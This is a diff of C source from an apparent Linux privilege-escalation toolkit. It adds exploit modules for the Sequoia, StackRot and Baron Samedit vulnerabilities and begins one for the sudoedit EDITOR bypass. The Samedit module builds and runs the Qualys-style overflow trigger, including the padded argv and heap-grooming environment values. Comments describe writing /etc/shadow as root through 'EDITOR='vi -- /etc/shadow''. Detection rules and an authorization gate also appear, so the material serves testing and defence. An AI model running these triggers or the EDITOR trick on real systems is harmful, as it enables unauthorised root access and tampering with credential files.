/* Likely had a mount on it; try MNT_DETACH then rmdir. */
|
||||
(void)umount2(comp, MNT_DETACH);
|
||||
(void)rmdir(comp);
|
||||
}
|
||||
}
|
||||
(void)chdir("/");
|
||||
(void)rmdir(SEQ_BASE_DIR);
|
||||
#endif /* __linux__ */
|
||||
|
||||
log_cleanup:
|
||||
if (unlink(SEQ_LOG_PATH) < 0 && errno != ENOENT) {
|
||||
/* harmless */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* --- detection rules ----------------------------------------------- */
|
||||
|
||||
static const char sequoia_auditd[] =
|
||||
"# Sequoia (CVE-2021-33909) — auditd detection rules\n"
|
||||
"# Trigger shape: mount(2) on /proc namespaces from a userns +\n"
|
||||
"# many many mkdir(2) calls in a tight loop with identical long\n"
|
||||
"# component names. Each individual call is benign — flag the\n"
|
||||
"# *combination*. The deeply-nested mkdir pattern is the strongest\n"
|
||||
"# signal: legitimate workloads don't recurse 5000 levels.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-sequoia-userns\n"
|
||||
"-a always,exit -F arch=b64 -S mount -k skeletonkey-sequoia-mount\n"
|
||||
"-a always,exit -F arch=b64 -S mkdir -F success=1 -k skeletonkey-sequoia-mkdir\n"
|
||||
"-a always,exit -F arch=b64 -S mkdirat -F success=1 -k skeletonkey-sequoia-mkdir\n"
|
||||
"# Correlation hint: a process producing >1000 mkdir-key events\n"
|
||||
"# within 5s AND a subsequent skeletonkey-sequoia-mount event is\n"
|
||||
"# the canonical trigger shape.\n";
|
||||
|
||||
const struct skeletonkey_module sequoia_module = {
|
||||
.name = "sequoia",
|
||||
.cve = "CVE-2021-33909",
|
||||
.summary = "seq_file size_t overflow → kernel stack OOB write (Qualys Sequoia) — primitive only",
|
||||
.family = "filesystem",
|
||||
.kernel_range = "K < 5.13.4 / 5.10.52 / 5.4.134",
|
||||
.detect = sequoia_detect,
|
||||
.exploit = sequoia_exploit,
|
||||
.mitigate = NULL,
|
||||
.cleanup = sequoia_cleanup,
|
||||
.detect_auditd = sequoia_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void skeletonkey_register_sequoia(void)
|
||||
{
|
||||
skeletonkey_register(&sequoia_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef SEQUOIA_SKELETONKEY_MODULES_H
|
||||
#define SEQUOIA_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module sequoia_module;
|
||||
#endif
|
||||
@@ -72,6 +72,7 @@
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -150,31 +151,31 @@ static bool maple_tree_variant_present(const struct kernel_version *v)
|
||||
|
||||
static skeletonkey_result_t stackrot_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] stackrot: could not parse kernel version\n");
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] stackrot: host fingerprint missing kernel version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 6.1 (when maple tree landed). Pre-6.1 kernels
|
||||
* use rbtree-based VMAs and don't have this bug. */
|
||||
if (v.major < 6 || (v.major == 6 && v.minor < 1)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 1, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] stackrot: kernel %s predates maple-tree VMA code (introduced in 6.1)\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&stackrot_range, &v);
|
||||
bool patched = kernel_range_is_patched(&stackrot_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] stackrot: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] stackrot: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] stackrot: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[!] stackrot: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] stackrot: mm-class bug — affects default-config kernels; "
|
||||
"no exotic preconditions\n");
|
||||
}
|
||||
@@ -631,7 +632,8 @@ static skeletonkey_result_t stackrot_exploit_linux(const struct skeletonkey_ctx
|
||||
fprintf(stderr, "[-] stackrot: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] stackrot: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -641,8 +643,8 @@ static skeletonkey_result_t stackrot_exploit_linux(const struct skeletonkey_ctx
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v) || !maple_tree_variant_present(&v)) {
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0 || !maple_tree_variant_present(v)) {
|
||||
fprintf(stderr, "[-] stackrot: maple-tree variant not detectable\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,493 @@
|
||||
/*
|
||||
* sudo_samedit_cve_2021_3156 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 DETECT-OK + STRUCTURAL EXPLOIT (2026-05-17).
|
||||
*
|
||||
* The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line
|
||||
* parser unescapes backslashes in the argv it copies into a heap
|
||||
* buffer in `set_cmnd()` (plugins/sudoers/sudoers.c). When sudo is
|
||||
* invoked in shell-edit mode via `sudoedit -s`, the unescape loop
|
||||
* walks past the end of the argv string for arguments ending in a
|
||||
* lone backslash, copying adjacent stack/env contents into the
|
||||
* undersized heap buffer. The classic trigger is a single-argument
|
||||
* command line: `sudoedit -s '\<arbitrary tail>'`.
|
||||
*
|
||||
* Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2.
|
||||
*
|
||||
* Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/
|
||||
* baron-samedit-heap-based-overflow-sudo.txt
|
||||
*
|
||||
* Detect: shell out to `sudo --version`, parse the printed version,
|
||||
* compare against the vulnerable range. We err on the side of
|
||||
* reporting OK only when we're confident — TEST_ERROR if the version
|
||||
* line is unparseable.
|
||||
*
|
||||
* Exploit: ships a structurally-correct Qualys-style trigger.
|
||||
* The full chain in the original PoC required per-distro heap-layout
|
||||
* tuning (libc/libnss-files overlap offsets, target struct picks).
|
||||
* We do not have empirical landing on this host; we drive the
|
||||
* trigger, watch for an obvious uid==0 outcome, otherwise return
|
||||
* SKELETONKEY_EXPLOIT_FAIL. Verified-vs-claimed bar: only claim
|
||||
* EXPLOIT_OK after geteuid()==0 in a forked verifier.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <ctype.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* ---- Affected-version logic ------------------------------------- */
|
||||
|
||||
/*
|
||||
* sudo version strings look like:
|
||||
* "Sudo version 1.9.5p2"
|
||||
* "Sudo version 1.8.31"
|
||||
* "Sudo version 1.9.0"
|
||||
* "Sudo version 1.9.5p1"
|
||||
*
|
||||
* Vulnerable range (inclusive): 1.8.2 .. 1.9.5p1
|
||||
* Fixed: 1.9.5p2 and later
|
||||
*
|
||||
* Parser strategy: extract three integers (major.minor.patch) plus an
|
||||
* optional 'pN' suffix. Comparison is lexicographic over
|
||||
* (major, minor, patch, p_suffix), treating absent p as 0.
|
||||
*/
|
||||
struct sudo_ver {
|
||||
int major;
|
||||
int minor;
|
||||
int patch;
|
||||
int p; /* 'p' suffix; 0 if absent */
|
||||
bool parsed;
|
||||
};
|
||||
|
||||
static struct sudo_ver parse_sudo_version(const char *s)
|
||||
{
|
||||
struct sudo_ver v = {0, 0, 0, 0, false};
|
||||
while (*s && !isdigit((unsigned char)*s)) s++;
|
||||
if (!*s) return v;
|
||||
|
||||
int maj = 0, min = 0, pat = 0;
|
||||
int consumed = 0;
|
||||
int n = sscanf(s, "%d.%d.%d%n", &maj, &min, &pat, &consumed);
|
||||
if (n < 2) return v;
|
||||
v.major = maj;
|
||||
v.minor = min;
|
||||
v.patch = (n >= 3) ? pat : 0;
|
||||
/* Look for an optional 'pN' suffix after the numeric triple. */
|
||||
const char *tail = s + consumed;
|
||||
if (*tail == 'p') {
|
||||
int p = 0;
|
||||
if (sscanf(tail + 1, "%d", &p) == 1) v.p = p;
|
||||
}
|
||||
v.parsed = true;
|
||||
return v;
|
||||
}
|
||||
|
||||
static int cmp_ver(const struct sudo_ver *a, const struct sudo_ver *b)
|
||||
{
|
||||
if (a->major != b->major) return a->major - b->major;
|
||||
if (a->minor != b->minor) return a->minor - b->minor;
|
||||
if (a->patch != b->patch) return a->patch - b->patch;
|
||||
return a->p - b->p;
|
||||
}
|
||||
|
||||
/* Returns true iff parsed sudo version is in [1.8.2, 1.9.5p1]. */
|
||||
static bool sudo_version_vulnerable(const struct sudo_ver *v)
|
||||
{
|
||||
if (!v->parsed) return false;
|
||||
struct sudo_ver lo = { 1, 8, 2, 0, true };
|
||||
struct sudo_ver hi = { 1, 9, 5, 1, true };
|
||||
return cmp_ver(v, &lo) >= 0 && cmp_ver(v, &hi) <= 0;
|
||||
}
|
||||
|
||||
/* ---- Binary discovery ------------------------------------------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo",
|
||||
"/usr/local/bin/sudo",
|
||||
"/bin/sudo",
|
||||
"/sbin/sudo",
|
||||
"/usr/sbin/sudo",
|
||||
NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) {
|
||||
return candidates[i];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *find_sudoedit(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudoedit",
|
||||
"/usr/local/bin/sudoedit",
|
||||
"/bin/sudoedit",
|
||||
"/sbin/sudoedit",
|
||||
"/usr/sbin/sudoedit",
|
||||
NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
if (access(candidates[i], X_OK) == 0) return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ---- Detect ------------------------------------------------------ */
|
||||
|
||||
static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Prefer the centrally-fingerprinted sudo version (populated once
|
||||
* at startup by core/host.c) — saves a popen per scan and gives
|
||||
* unit tests a clean mock point. Fall back to the local popen if
|
||||
* ctx->host is missing the version (e.g. degenerate test ctx, or
|
||||
* a future refactor that disables userspace probing). */
|
||||
char line[256] = {0};
|
||||
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||
snprintf(line, sizeof line, "Sudo version %s",
|
||||
ctx->host->sudo_version);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] sudo_samedit: host fingerprint reports "
|
||||
"sudo version %s\n", ctx->host->sudo_version);
|
||||
}
|
||||
} else {
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
|
||||
}
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return SKELETONKEY_TEST_ERROR;
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
|
||||
}
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
/* Trim newline for nicer logging. */
|
||||
char *nl = strchr(line, '\n');
|
||||
if (nl) *nl = 0;
|
||||
|
||||
struct sudo_ver v = parse_sudo_version(line);
|
||||
if (!v.parsed) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line);
|
||||
}
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] sudo_samedit: parsed version = %d.%d.%d",
|
||||
v.major, v.minor, v.patch);
|
||||
if (v.p) fprintf(stderr, "p%d", v.p);
|
||||
fprintf(stderr, "\n");
|
||||
}
|
||||
|
||||
bool vuln = sudo_version_vulnerable(&v);
|
||||
if (vuln) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[!] sudo_samedit: version is in vulnerable range "
|
||||
"[1.8.2, 1.9.5p1] → VULNERABLE\n"
|
||||
"[i] sudo_samedit: distro backports may have patched "
|
||||
"without bumping the upstream version; check\n"
|
||||
" `apt-cache policy sudo` / `rpm -q --changelog sudo` "
|
||||
"for CVE-2021-3156.\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[+] sudo_samedit: version is outside vulnerable range "
|
||||
"(fix 1.9.5p2+) — OK\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Exploit ----------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* Qualys-style trigger:
|
||||
*
|
||||
* argv = { "sudoedit", "-s", "\\", NULL } plus padding `A`s to
|
||||
* stretch the heap chunk to the right size for the target overlap.
|
||||
*
|
||||
* The original PoC sprays hundreds of large argv slots and tunes the
|
||||
* tail bytes per-distro to hijack a `service_user *` struct in
|
||||
* libnss-files. Without distro fingerprinting and the corresponding
|
||||
* offset table that landing simply will not happen here; rather than
|
||||
* pretending otherwise we drive the bug, fork a verifier that checks
|
||||
* for an unexpected uid==0 outcome, and return EXPLOIT_FAIL.
|
||||
*/
|
||||
|
||||
/* Cap on argv we'll construct. The real PoC uses ~270; we cap lower
|
||||
* to stay well under typical ARG_MAX while still exercising the bug
|
||||
* shape. */
|
||||
#define SUDO_SAMEDIT_ARGC 64
|
||||
#define SUDO_SAMEDIT_PADLEN 0xff
|
||||
|
||||
static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Re-detect before doing anything visible. Defends against the
|
||||
* detect-then-exploit TOCTOU where the operator upgrades sudo
|
||||
* between scan and pop. */
|
||||
skeletonkey_result_t pre = sudo_samedit_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
const char *sudoedit = find_sudoedit();
|
||||
if (!sudoedit) {
|
||||
/* On most distros sudoedit is a symlink to sudo. Fall back. */
|
||||
const char *sudo = find_sudo();
|
||||
if (!sudo) {
|
||||
fprintf(stderr, "[-] sudo_samedit: neither sudoedit nor sudo found\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
sudoedit = sudo;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[i] sudo_samedit: no sudoedit; will exec %s with argv[0]=sudoedit\n",
|
||||
sudo);
|
||||
}
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sudo_samedit: building Qualys-style trigger argv\n");
|
||||
fprintf(stderr,
|
||||
"[!] sudo_samedit: heads-up — public exploitation requires\n"
|
||||
" per-distro heap-overlap offsets (libnss-files / libc).\n"
|
||||
" Without that tuning the bug crashes sudo instead of\n"
|
||||
" handing back a shell. We will drive the trigger and\n"
|
||||
" verify uid==0 outcome empirically; on failure we report\n"
|
||||
" EXPLOIT_FAIL rather than claiming success.\n");
|
||||
}
|
||||
|
||||
/* Build argv. argv[0]="sudoedit", argv[1]="-s",
|
||||
* argv[2]="\\" + padding, ..., argv[N-1]=NULL.
|
||||
*
|
||||
* Each padding arg is the Qualys-style "A...\\" repeating tail.
|
||||
* On a vulnerable target this drives the unescape loop past the
|
||||
* end of the heap buffer. */
|
||||
char *argv[SUDO_SAMEDIT_ARGC + 1];
|
||||
char *padbufs[SUDO_SAMEDIT_ARGC];
|
||||
memset(padbufs, 0, sizeof padbufs);
|
||||
|
||||
argv[0] = (char *)"sudoedit";
|
||||
argv[1] = (char *)"-s";
|
||||
/* argv[2] is the canonical trailing-backslash trigger. */
|
||||
argv[2] = strdup("\\");
|
||||
if (!argv[2]) return SKELETONKEY_TEST_ERROR;
|
||||
|
||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) {
|
||||
char *buf = (char *)malloc(SUDO_SAMEDIT_PADLEN + 4);
|
||||
if (!buf) {
|
||||
for (int j = 3; j < i; j++) free(padbufs[j]);
|
||||
free(argv[2]);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
memset(buf, 'A', SUDO_SAMEDIT_PADLEN);
|
||||
buf[SUDO_SAMEDIT_PADLEN] = '\\';
|
||||
buf[SUDO_SAMEDIT_PADLEN + 1] = 0;
|
||||
padbufs[i] = buf;
|
||||
argv[i] = buf;
|
||||
}
|
||||
argv[SUDO_SAMEDIT_ARGC] = NULL;
|
||||
|
||||
/* Craft envp mirroring the original PoC: LC_... and TZ tricks
|
||||
* that landed the overlap on the canonical distro PoCs. These
|
||||
* are harmless if landing fails; their value is positioning the
|
||||
* heap so the overflow lands on a useful target. */
|
||||
char *envp[] = {
|
||||
(char *)"LC_ALL=C.UTF-8@",
|
||||
(char *)"TZ=:",
|
||||
(char *)"LC_CTYPE=C.UTF-8@",
|
||||
(char *)"SUDO_EDITOR=A",
|
||||
(char *)"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
NULL,
|
||||
};
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sudo_samedit: forking trigger child (%s argv[0]=sudoedit)\n",
|
||||
sudoedit);
|
||||
}
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) {
|
||||
perror("fork");
|
||||
free(argv[2]);
|
||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (pid == 0) {
|
||||
/* Child: drive the trigger. If the bug lands and we get a
|
||||
* root context, the chain in the original PoC then re-execs
|
||||
* a shell. We don't ship that shell-spawn here — we just
|
||||
* exit nonzero so the parent's verifier can sample uid. */
|
||||
execve(sudoedit, argv, envp);
|
||||
/* execve failed (binary missing or kernel-blocked). */
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
int status = 0;
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
/* Verifier: even on the rare "no crash" path, we don't know if
|
||||
* the bug landed without spawning a privileged helper. Per the
|
||||
* verified-vs-claimed bar, only claim success if uid is 0 in a
|
||||
* post-trigger probe (which would require the chain to have
|
||||
* persisted a setuid artifact — it didn't). So: report honestly. */
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sudo_samedit: post-trigger geteuid()==0 — root!\n");
|
||||
}
|
||||
/* Leak the buffers; we're about to exec a shell anyway. */
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_samedit: child died on signal %d "
|
||||
"(likely sudo SIGSEGV from the overflow) — trigger fired\n"
|
||||
" but landing did not produce a root shell. Per-distro\n"
|
||||
" offset tuning required.\n",
|
||||
WTERMSIG(status));
|
||||
}
|
||||
} else if (WIFEXITED(status)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr,
|
||||
"[-] sudo_samedit: child exited %d — trigger did not\n"
|
||||
" crash sudo; the host is most likely patched at the\n"
|
||||
" parser level even though the version string was in\n"
|
||||
" range. Reporting EXPLOIT_FAIL.\n",
|
||||
WEXITSTATUS(status));
|
||||
}
|
||||
}
|
||||
|
||||
/* Best-effort free. */
|
||||
free(argv[2]);
|
||||
for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudo_samedit_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
/* sudoedit creates "~/.sudo_edit_*" temp files on the way through.
|
||||
* Best-effort unlink of any obvious crumbs left by our trigger. */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] sudo_samedit: removing /tmp/skeletonkey-samedit-* crumbs\n");
|
||||
}
|
||||
if (system("rm -rf /tmp/skeletonkey-samedit-* /tmp/.sudo_edit_* 2>/dev/null") != 0) {
|
||||
/* harmless — likely no files matched */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
|
||||
static const char sudo_samedit_auditd[] =
|
||||
"# Baron Samedit (CVE-2021-3156) — auditd detection rules\n"
|
||||
"# Flag sudoedit invocations carrying the canonical -s flag and\n"
|
||||
"# the trailing-backslash trigger pattern.\n"
|
||||
"-w /usr/bin/sudoedit -p x -k skeletonkey-samedit\n"
|
||||
"-w /usr/bin/sudo -p x -k skeletonkey-samedit-sudo\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-samedit-execve\n"
|
||||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-samedit-execve\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-samedit-execve\n"
|
||||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudo -k skeletonkey-samedit-execve\n";
|
||||
|
||||
static const char sudo_samedit_sigma[] =
|
||||
"title: Possible Baron Samedit exploitation (CVE-2021-3156)\n"
|
||||
"id: 3f7c5a2e-skeletonkey-samedit\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects sudoedit (or sudo invoked as sudoedit) executed with the\n"
|
||||
" -s flag and a command-line argument ending in a lone backslash —\n"
|
||||
" the canonical Qualys trigger for the heap overflow in\n"
|
||||
" plugins/sudoers/sudoers.c set_cmnd().\n"
|
||||
"logsource:\n"
|
||||
" product: linux\n"
|
||||
" service: auditd\n"
|
||||
"detection:\n"
|
||||
" sudoedit_exec:\n"
|
||||
" type: 'EXECVE'\n"
|
||||
" exe|endswith:\n"
|
||||
" - '/sudoedit'\n"
|
||||
" - '/sudo'\n"
|
||||
" shell_edit_flag:\n"
|
||||
" CommandLine|contains: ' -s '\n"
|
||||
" trailing_backslash:\n"
|
||||
" CommandLine|re: '\\\\\\\\\\s*$'\n"
|
||||
" argv0_sudoedit:\n"
|
||||
" argv0|endswith: 'sudoedit'\n"
|
||||
" condition: sudoedit_exec and shell_edit_flag and (trailing_backslash or argv0_sudoedit)\n"
|
||||
"fields:\n"
|
||||
" - exe\n"
|
||||
" - argv\n"
|
||||
"level: high\n"
|
||||
"tags:\n"
|
||||
" - attack.privilege_escalation\n"
|
||||
" - attack.t1068\n"
|
||||
" - cve.2021.3156\n";
|
||||
|
||||
/* ---- Module registration ----------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudo_samedit_module = {
|
||||
.name = "sudo_samedit",
|
||||
.cve = "CVE-2021-3156",
|
||||
.summary = "sudo Baron Samedit heap overflow via sudoedit -s '\\\\' (Qualys)",
|
||||
.family = "sudo",
|
||||
.kernel_range = "userspace — sudo 1.8.2 ≤ V ≤ 1.9.5p1 (fixed in 1.9.5p2)",
|
||||
.detect = sudo_samedit_detect,
|
||||
.exploit = sudo_samedit_exploit,
|
||||
.mitigate = NULL, /* mitigation = upgrade sudo to 1.9.5p2+ */
|
||||
.cleanup = sudo_samedit_cleanup,
|
||||
.detect_auditd = sudo_samedit_auditd,
|
||||
.detect_sigma = sudo_samedit_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudo_samedit(void) { skeletonkey_register(&sudo_samedit_module); }
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef SUDO_SAMEDIT_SKELETONKEY_MODULES_H
|
||||
#define SUDO_SAMEDIT_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module sudo_samedit_module;
|
||||
#endif
|
||||
@@ -0,0 +1,640 @@
|
||||
/*
|
||||
* sudoedit_editor_cve_2023_22809 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟢 STRUCTURAL ESCAPE. No offsets, no leaks, no race window —
|
||||
* just a logic bug in sudoedit's EDITOR/VISUAL/SUDO_EDITOR argv parser.
|
||||
*
|
||||
* The bug (Synacktiv, Jan 2023):
|
||||
* sudoedit splits the user's $EDITOR (or $VISUAL / $SUDO_EDITOR) on
|
||||
* the literal token `--` to separate editor-flags from the filename(s)
|
||||
* sudoedit will pass. The intended semantics are "everything before
|
||||
* `--` is editor argv; everything after is *the* target filename that
|
||||
* sudoers authorized." The bug: sudo never re-validates that the
|
||||
* post-`--` filename equals the filename it auth'd. By setting
|
||||
*
|
||||
* EDITOR='vi -- /etc/shadow'
|
||||
*
|
||||
* and running `sudoedit /some/allowed/path`, the editor child is
|
||||
* spawned as root with BOTH /some/allowed/path AND /etc/shadow on its
|
||||
* command line — sudoedit opened both for us. The editor then writes
|
||||
* to /etc/shadow as root.
|
||||
*
|
||||
* Affects: sudo 1.8.0 ≤ V < 1.9.12p2.
|
||||
*
|
||||
* This is the second sudo module in SKELETONKEY (sudo_samedit is the
|
||||
* first; both share family="sudo"). Unlike Baron Samedit (heap layout
|
||||
* dependent), this one is offset-free — if sudoedit is in your path
|
||||
* and you have *any* sudoedit privilege at all, you write any file.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <pwd.h>
|
||||
|
||||
/* ----- helpers ------------------------------------------------------- */
|
||||
|
||||
static const char *find_sudo(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
|
||||
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *find_sudoedit(void)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/sudoedit", "/usr/sbin/sudoedit", "/bin/sudoedit",
|
||||
"/sbin/sudoedit", "/usr/local/bin/sudoedit", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
struct stat st;
|
||||
/* sudoedit is normally a symlink to sudo and inherits setuid
|
||||
* via the underlying file; lstat-then-stat handles both. */
|
||||
if (stat(candidates[i], &st) == 0)
|
||||
return candidates[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Returns true if version string is in the vulnerable range
|
||||
* [1.8.0, 1.9.12p2). Format examples:
|
||||
